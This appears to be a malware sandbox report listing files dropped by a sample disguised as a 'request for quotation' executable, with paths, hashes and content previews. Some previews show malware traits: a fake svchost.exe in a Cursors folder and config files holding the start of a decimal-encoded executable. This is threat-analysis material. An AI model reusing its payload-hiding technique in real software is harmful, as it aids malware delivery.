,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD69D.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697657458852364
Encrypted:	false
SSDEEP:	96:9GiZYWgebrhYEYRBWpLHQYEZI75t2iW4OVxjw5qyatKK88GiImk3:9jZDvz2mN5atKK88cmk3
MD5:	BB9151A59D742E8FAD88B754701A1DDE
SHA1:	788473B063708FF64D19106DCCAE5E38E9A5489C
SHA-256:	41FAA477027A32C7E2FB2F038F0E3B87804B49EC878E6C573FBA08E6BC989EA6
SHA-512:	AF10AF5DDE5A51A2A227ED186B903B82CE90D8FD442E7D36040383ED453B8CEFE8E6508D0F43FE75BE5269D0A9C846C908516E48DA29DE72935656D68D5C5287
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD6EE.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8504
Entropy (8bit):	3.7037273148124963
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/Y6Zy6YrUSUapCsgmfZ/S3+prSx89blFsf0AHtXm:RrlsNiw6Zy6Y4SUapCsgmfxSJelefxHQ
MD5:	47EF7B6AFD6E9A54165B90CBF6EC4926
SHA1:	9B6EB61E85B4D464A7F9A748B485B0FC3F682FE4
SHA-256:	1DB1D46A9D9C12A90BD57D7372DD276785DEEBC58F50314837FA4AF03B8EC39A
SHA-512:	524B0A732D1DCE63A8814413DEB1F409EE0DA8C0C6525A861F221FDD544B5933A1A5D864E14915578F85E514CD3FBF191E86302E93720AE8384401EE10726194
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.7.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE4B8.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	56586
Entropy (8bit):	3.0432243552551874
Encrypted:	false
SSDEEP:	1536:LDHhUAtLuPQdh5Xsq02MFHTFSCa1jvHAGrZMxswEs:LDHhUAtLuPQdh5Xsq02MFHTFSCa1jvHm
MD5:	0D474009C0F73F5D7CFFA62C09E388AE
SHA1:	22EDBDC52C1A42899E45D0D23F8C65DFCE9D30C5
SHA-256:	4F65CA2E30899314CC969E943D2676719678B32D7CA6E65E4A5BA81AE42DE362
SHA-512:	D0D68015A334E8F173DAE625281FB30983CFE63C0159BEF2583315990C17ADB73A4491C24C8413BA00D392DCF9B4C33B93F05C4DA5B5233E79D871F0E5E95165
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE5D4.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4790
Entropy (8bit):	4.548023477948311
Encrypted:	false
SSDEEP:	48:cvIwSD8zs0JgtWI9+4WSC8BuY2s8fm8M4J+vFFs0+q8v2vTlWr2Xeld:uITfydxSNcvRJyKEYAeld
MD5:	B48DB0B2D132F1450DD2B94DC2492B0E
SHA1:	651DED26F8710157A8F4C476BC51573895D55FBF
SHA-256:	CE63E29C155ED691B829E8322181511E95F758761DC32BA8F83ACCFF625B0F16
SHA-512:	6C5A67C67F601A8DE1A6644DD30E6437BEA8050DE86EF7B4598555625969CB4DFA1A234A227824F607C274661D25C5EF3E30655DB232496EC53F0E63DAB7C92D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="885104" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE62F.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	57078
Entropy (8bit):	3.0478981065699653
Encrypted:	false
SSDEEP:	1536:iyHyBVAcQ6KXooQmkuRG3a1tJe0487hG1Y:iyHyBVAcQ6KXooQmkuRG3a1tJe046hGO
MD5:	7FB87444C634E96D88E712046E8D3546
SHA1:	150DD96BB1B6C3267CB5C1111FEFD73B1CAE04FA
SHA-256:	6C3F505E43FC2BCBC447A11716BF5EEDA5437FC9EE2B5838BF362AEB7670B015
SHA-512:	7D86F9FF9BABA5B67947C0E57D2151E2AE336AC02310BD087091D6F4B92C3ECBFB8D50CBBB943365B15497BD824316E972BCE5FFE1B1DC9E9422BC4296C88BD0
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAC3.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697562492855251
Encrypted:	false
SSDEEP:	96:9GiZYWUEOWAXxYuOYGWpHmYEZJ/7mt2il4Ofx+wuyc2daQKOJ8GQIFk3:9jZDUEmolfOaQKOJ8uFk3
MD5:	23B4C01F9081AD610CACD6073D87F028
SHA1:	01984EE755F6EAF3672D7084682D94D1581B5963
SHA-256:	D80030CEF4D8F1ADD9B488180FF155A12669F211A5F5AC05C69729C7A2BAC76D
SHA-512:	02958A71F67EC6EEDA3C0A5AA5C41FFFD1C252FE6C3BDA5CE7EDF22D3D0E7E5FBF5506FD29F8FF4E51F1A4057F0465D9E4D84A0727CB98292BF03F29EB4794F2
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREE5E.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697159017001629
Encrypted:	false
SSDEEP:	96:9GiZYWfBD1vYuOYWWfKHCYEZEFtui04OOOJw/V2e2amNMPfGyIiJ3:9jZDP47jEamNMPfciJ3
MD5:	D869C466A6F4E45D112B9F3001285DF9
SHA1:	3AF83D987DBCAF300451A4DB33AD9044CC084689
SHA-256:	92E0536D69A5DD558779F0931372743542941311A4362EB79C31188D64D40AF0
SHA-512:	559021810EE5D4D7750600854EC7A9E8B04E88BA6A80FAF09F7B91313FB12ADDDB0C37EC331B91C901A34347A2F547B85B12FA53F4EF3EBC3E00A9F3C20C5B78
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe
File Type:	Microsoft Cabinet archive data, 55578 bytes, 1 file
Category:	dropped
Size (bytes):	55578
Entropy (8bit):	7.995342925763736
Encrypted:	true
SSDEEP:	1536:BeQysAgNjwGLn31DsKaOvP3TQ5IhHnQl1GH:84jwGb1IKaOXjVFnQl1GH
MD5:	5C76CB48C81E1E013E0FD70132B0B861
SHA1:	14ADD82B9C667EAF75E1EB4D02E0AF7EDD166DD5
SHA-256:	68158977F401D13973F19AC7C2CF21F74FF60BF1405BF8627C88B51C9B8A6BE5
SHA-512:	EAA90CAD25827CC83852A756C1806BE2E5AA05DCADA28ED6B2ED3690DE42F5398B251537AA973DD28563F60828E8A0E114AEB81E09E1644D5D9F0511DF7E37BE
Malicious:	false
Preview:	MSCF............,...................I........D........WR.a .authroot.stl.{[.s.4..CK..8T....c_.d....A.K....=.D.eWI..RZ$Kr...H{I.R....H..k..;..f.[......y.y.}.y.....w.h:.7..+c.b'.1.tY.s7y.....C.Q.......D..`..%..[.....i,3.3..."js..$/...QRRVB..Jjv.3.....N...e$$.....6..p..#..{.y...^.4....B..\|+..<...A..t.<. ..V..`..O...CD../.s.\c.tc.....Keiv..A$.....8..(g..t.....,...s.d.].xqX4...&..u..l...No...+...5sa....!..[....M..1..r.. ?(.\[. H...#?.H.".. p.V.}.`L..ZP0.y....\|...A..%...&..3.a....c..7.T=.....hy~....w7bhq.z(\|.p.Z.......&0CO.eBS4......t.......h..e..L......c.qO.o.M.>,5.}..}.t\P9L}.O.i.a%.H.~...%..CEQ.V..p..Y.............q.c.0..V.T.>.Z..rT./K..d?V.TsYm..hn1?.4E..o~+......z....Hv..S...h,....yz.s.N.M1.W..<.....}.....B;[......>.}.#.YB..6m.....,.....7F$..~..W.:,S.5e.>..\|6!......G.3..`E..NF....u..7.n]}x..g...$..4.....V...g.3TO.dU;..9c....S\.<....q......Q.%.)A....':.`......m\|..3f.....;.t.Ish...wF....bQT........(...j..j0.=...s .Jxf....g...s..9.qe.x.:~...v.7

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1440162099082603
Encrypted:	false
SSDEEP:	6:kKbqFK+N+SkQlPlEGYRMY9z+4KlDA3RUeAODX:TJNkPlE99SNxAhUeAOL
MD5:	52E2A2830F685D58EFB5C4C0E57EBF3F
SHA1:	43DE9756E1D014D46212AF9328F09D7F2D156A38
SHA-256:	37EA53CF32C98106CC47143217EE3114B0E90B205A0CAB154632C2486305AFC6
SHA-512:	C488CFCDBD277ADA480C4105191834B18802E748CB462B410FECE6DB2DAF5583C588729FF1947CF0A65CAB8843C10BED1216E3787BBEA0AC55709674ED0A7644
Malicious:	false
Preview:	p...... .........)......(....................................................... ..........a!.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.d.3.1.9.6.1.2.1.a.d.7.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14734
Entropy (8bit):	4.996142136926143
Encrypted:	false
SSDEEP:	384:SEdVoGIpN6KQkj2Zkjh4iUxZvuiOOdBCNXp5nYoJib4J:SYV3IpNBQkj2Yh4iUxZvuiOOdBCNZlYO
MD5:	B7D3A4EB1F0AED131A6E0EDF1D3C0414
SHA1:	A72E0DDE5F3083632B7242D2407658BCA3E54F29
SHA-256:	8E0EB5898DDF86FE9FE0011DD7AC6711BB0639A8707053D831FB348F9658289B
SHA-512:	F9367BBEC9A44E5C08757576C56B9C8637D8A0A9D6220DE925255888E6A0A088C653E207E211A6796F6A7F469736D538EA5B9E094944316CF4E8189DDD3EED9D
Malicious:	false
Preview:	PSMODULECACHE.............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script................T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	22376
Entropy (8bit):	5.601238160521107
Encrypted:	false
SSDEEP:	384:ptCDnueC1Gr0rmVOoS0np0ultIl8D7Y9gxSJUeRi1BMrm0ZSRV7JYdJa64I+fJzY:J2ymJTppltc83xXepRAV/1e
MD5:	DC9345DE1CE50807E4BE94F5942EB170
SHA1:	F5B37AECD90EEC1E5CEFFAE3F4C8FEC5482A49D5
SHA-256:	5ED084D0B8F2D1434D8277C13445494BE744B724C5223FB1C908C3A24BECAAB1
SHA-512:	982F3E589B2DD6D5614BFEB8BC1CCB3FBAFCD94ED97D07A259DB4D70363D72F75E71E35643556A82FC4FF6AC5B57D64E6A4B39B19778CFD10283D2DF18228ACC
Malicious:	false
Preview:	@...e.......................5.#.......~.:............@..........H...............<@.^.L."My...:P..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\SAJotrsvAWjW\REQUEST_FOR_QUOTATION_467_Url_rdiaqn5dp4am0rsll5hhneduopt4j1ig\3.794.184.923\hi0x4hs4.newcfg Download File
Process:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	2763537
Entropy (8bit):	3.0651867535934065
Encrypted:	false
SSDEEP:	24576:HBlhiIix+PtQS+CvXSjn5/yvOT/dvF9XtAc5zzmwiZ5IstikfR5V2fHRBiuU+p8f:r
MD5:	C35B565C8027D4526E7DC1F2CEC1B4AC
SHA1:	CC0042FDD2BB0F7DBDAFFEC2C82B7CF5BEFAD38B
SHA-256:	DDEBFE5A56A75936D9436937D1C5C2F795043E5D6C6EBF1C9DC5F592BFE5BCD1
SHA-512:	C562A5387CB0B8A45972B9EF978E21438248C76E92BE72E96C012B7307A5F1ECBFDA1A8ADEA84C80C46070AE0BAD19290DB0AB36706F3F70D0F95D57400A5B1F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="SAJotrsvAWjW.XkHTzABImuIEBrghTPJfDmbdpCDucdkJIHEwUOrZuxIckT" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <SAJotrsvAWjW.XkHTzABImuIEBrghTPJfDmbdpCDucdkJIHEwUOrZuxIckT>.. <setting name="LXUYPsyLMdbHkKhjgliIjKbtuxVUdHwoeg" serializeAs="String">.. <value>77d90d144d0d3d0d0d0d4d0d0d0d255d255d0d0d184d0d0d0d0d0d0d0d64d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d128d0d0d0d14d31d186d14d0d180d9d205d33d184d1d76d205d33d84d104d105d115d32d112d114d111d103d114d9

C:\Users\user\AppData\Local\SAJotrsvAWjW\svchost.exe_Url_dyrghkjudugz5ikembclf03q4g0g5pso\3.794.184.923\bvqdsxo5.newcfg Download File
Process:	C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	2763537
Entropy (8bit):	3.0651867535934065
Encrypted:	false
SSDEEP:	24576:HBlhiIix+PtQS+CvXSjn5/yvOT/dvF9XtAc5zzmwiZ5IstikfR5V2fHRBiuU+p8f:r
MD5:	C35B565C8027D4526E7DC1F2CEC1B4AC
SHA1:	CC0042FDD2BB0F7DBDAFFEC2C82B7CF5BEFAD38B
SHA-256:	DDEBFE5A56A75936D9436937D1C5C2F795043E5D6C6EBF1C9DC5F592BFE5BCD1
SHA-512:	C562A5387CB0B8A45972B9EF978E21438248C76E92BE72E96C012B7307A5F1ECBFDA1A8ADEA84C80C46070AE0BAD19290DB0AB36706F3F70D0F95D57400A5B1F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="SAJotrsvAWjW.XkHTzABImuIEBrghTPJfDmbdpCDucdkJIHEwUOrZuxIckT" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <SAJotrsvAWjW.XkHTzABImuIEBrghTPJfDmbdpCDucdkJIHEwUOrZuxIckT>.. <setting name="LXUYPsyLMdbHkKhjgliIjKbtuxVUdHwoeg" serializeAs="String">.. <value>77d90d144d0d3d0d0d0d4d0d0d0d255d255d0d0d184d0d0d0d0d0d0d0d64d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d128d0d0d0d14d31d186d14d0d180d9d205d33d184d1d76d205d33d84d104d105d115d32d112d114d111d103d114d9

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dscyopo0.jur.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pu2ha5nu.i5f.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

